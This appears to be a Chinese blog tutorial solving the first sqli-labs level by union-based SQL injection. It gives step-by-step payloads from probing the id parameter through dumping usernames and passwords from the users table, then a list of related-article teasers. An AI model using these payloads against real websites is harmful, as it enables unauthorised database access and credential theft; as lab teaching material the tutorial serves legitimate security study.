sql注入 union联合查询注入(超详细)
sql注入 union联合查询注入
我们以sqli-labs的第一关为例,来具体理解union联合查询注入的方法,理解每一步我为什么要这么去做。
好的,我们开始第一关!
首先查看sqli-labs第一关
这是第一关初始界面,在url界面输入?id=1 发现有回显,给我们回显了两个数据
当我们输入?id=1’ 时出现了语法错误,表示这里可能存在语法漏洞,我们进一步探索
当我们输入 ?id=1’ --+ 时,又回显正常,然后我们用 ?id=1’ and 1=1–+ 回显正常,?id=1’ and 1=2–+ 没有回显, 于是可以判断此处为sql注入点。
然后,我们使用order by 判断该语句查询了几列数据
输入?id=1’ order by 3 --+
输入?id=1’ order by 4 --+
发现输入第一句时回显正常,输入第二句时报错。可以证明前面查询了三列数据。
思考:
1.为什么用order by 可以证明前面语句查询了三列数据呢?
2.我们为什么要知道前面查询了多少语句呢?
解:
第一题:
首先我们要知道order by的作用:order by 简单的来说 就是对前面查询的数据进行分组,分组依据是前面查询的内容的属性。比如说前面查询的数据是甲、乙、丙,我们可以根据这三种属性的一到三种进行分类,但是不能超过三种。所以上面order by 4 会报错误信息。因此可以依据此来判断前面查询了几列数据。
第二题:
因为使用union函数进行查询时,union前面查询语句查询的元素与后面查询语句查询的元素要数量上一样,所以我们必需要知道前面语句查询了多少个元素。比如,此语句:select 甲,乙,丙 union select 1,2,3 因为前面查询的语句有三个元素(甲,乙,丙),所以后面查询的语句必须是三个元素(1,2,3)。
判断元素后,开始寻找显示位。
使用语句:?id=111‘ union select 1,2,3 --+
查看到显示2,3。于是判断显示位为第二个元素和第三个元素。
这里将id值改为111是为了让前面查询的语句为空,无显示,然后后面查询语句查询的元素显示出来。
为什么要进行这一步?因为要将显示位判断出来,我们才能知道应该在哪里注入我们查询的语句它才会显示。
开始查询数据库名
使用语句:?id=111’ union select 1,2,(database()) --+
使用第三个元素的显示位直接查询
查询表名
使用语句: ?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
理解此语句,首先我们应该要知道数据库中,有一个information_schema库,里面有一个tables表,里面存有整个数据库的表名。我们要去查找的表,就是在这个库中去找。
使用group_concat()函数将所有查询的表名连在一起成为一条数据。
查询表中列名
当我们拿到所有的表名后,选取可能含有敏感信息的表进行查询,比如users表。
使用语句:
?id= 111’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’ ) --+
理解此语句,首先我们应该要知道数据库中,有一个information_schema库,里面有一个columns表,里面存有整个数据库的列名。我们要去查找的列,就是在这个库中去找。
查找列中的值
使用语句:
?id=111’ union select 1,group_concat(username),group_concat(password) from security.users --+
使用2,3显示位 查询列中的值。
完
sql注入 union联合查询注入(超详细)相关推荐
- 【SQL注入-03】union联合查询注入案例
目录 1 union联合查询注入概述 1.1 简介 1.2 适用条件 1.3 注入步骤 1.4 注入技巧 2 union联合查询注入案例 2.1 操作环境 2.2 操作具体步骤 2.2.1 判断是否存 ...
- SQL注入之联合查询注入
MySQL中的联合查询 联合查询是可合并多个相似的选择查询的结果集.等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果 ...
- 【SQL注入】联合查询(最简单的注入方法)
目录 一.介绍: 二.原理: 三.前提条件 四.利用过程 一.介绍: 是最简单的一种注入方法 联合查询注入 报错查询注入 布尔型注入 延时注入 堆叠查询注入 二.原理: 就是可合并多个查询的结 ...
- SQL注入之联合查询(MySQL)
SQL注入之联合查询 0x00 前期准备 0x01 联合查询前提 0x02 注入步骤 0x03个人小结 一.Mysql注释 二.Mysql系统函数 三.其他 0x00 前期准备 环境搭配:Apache ...
- SQL注入——联合查询注入
0x01 SQL注入的原理 针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原 有SQL结构,达到编写程序时意料之外结果的攻击行为.其成因可以归结外一下 两个原因叠加造成的: 1 ...
- SQL注入原理及实践(一)--SQL注入之联合查询
SQL注入原理及实践(一)–SQL注入之联合查询 1)判断注入类型 一般采用[1and1=2]去判断,当输入[1and1=2]时, 如果报错,则为数字型注入, 如果显示正常,则为字符型注入 原理如下: ...
- SQL注入-联合查询注入
SQL注入-联合查询注入 一,原理 使用union select对两个表联合查询,注意两个表查询的字段数量要相同,不然会报错. 比如表一有2个字段,表二有4个字段,要想联合查询必须查询字段数量相等,就 ...
- SQL注入——基于联合查询的字符型GET注入(三)
本章目的 普及字符型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 ( ...
- mysql联合查询注入防护,SQL注入之BypassWaf
0x00 前言 无论是在CTF比赛中还是在现实项目中,都会遇到各种各样的waf,没有绝对安全的系统,仔细的研究总会发现被"漏掉"的地方. 最近在研究过waf的技巧,期间还是很有趣的 ...
最新文章
- Android Bluetooth模块学习笔记
- Android利用Looper在子线程中改变UI
- 阿里云安装mysql5.6_yum安装mysql 5.6-阿里云开发者社区
- 特征工程(2):特征构建
- go iscoinbase()_《电车GO!驰骋吧山手线》新情报:高分攻略与新模式介绍
- 温故而知新!这篇文章可以满足你80%日常工作!面试真题解析
- 面试之 Mysql 汇总
- SQL Server中行列转换 Pivot UnPivot (转载)
- mui ajax传参示例
- 十分钟快速上手结巴分词
- PCA原理及代码实现
- LeetCode之两个数组的交集
- C# 实现Remoting双向通信
- 开发中的多线程ID检测工具(ESET_VC52_MCID)
- 嘉楠科技被「华尔街」看空
- qt emit是什么意思_2020年12月12日 无赞赏QT吗哪 :如天上的星星永远发光的信仰...
- [HAL]STM32F1光照度测量BH1750 串口输出
- 垃圾分类很难吗?这是一篇来自AI垃圾回收箱的灵魂拷问…
- zzuli 1787: 生化危机 (bfs与dfs)
- 验证DNS解析失败:解决办法之一
热门文章
- 一加3T系统自带手机铃声及通知铃声
- 手机连无线网后没有网络连接到服务器,手机无线网络连接上但上不了网
- MBA毕业了,我想继续做开发
- 力控批量添加变量_力控组态软件的变量操作函数3
- matlab 生成sine音频文件.wav (双声道.wav)--audiowrite
- latex 1图加标题_风靡全球的数学公式编辑工具——LaTeX简介
- 微信小程序因视频播放不合规问题解决
- Excel学习笔记:P34-VLOOKUP 功成身退!全新函数XLOOKUP霸气取而代之!
- 研究生读计算机视觉怎么样?好找工作
- Gerald Weinberg-探索需求-UMLChina讲座-音频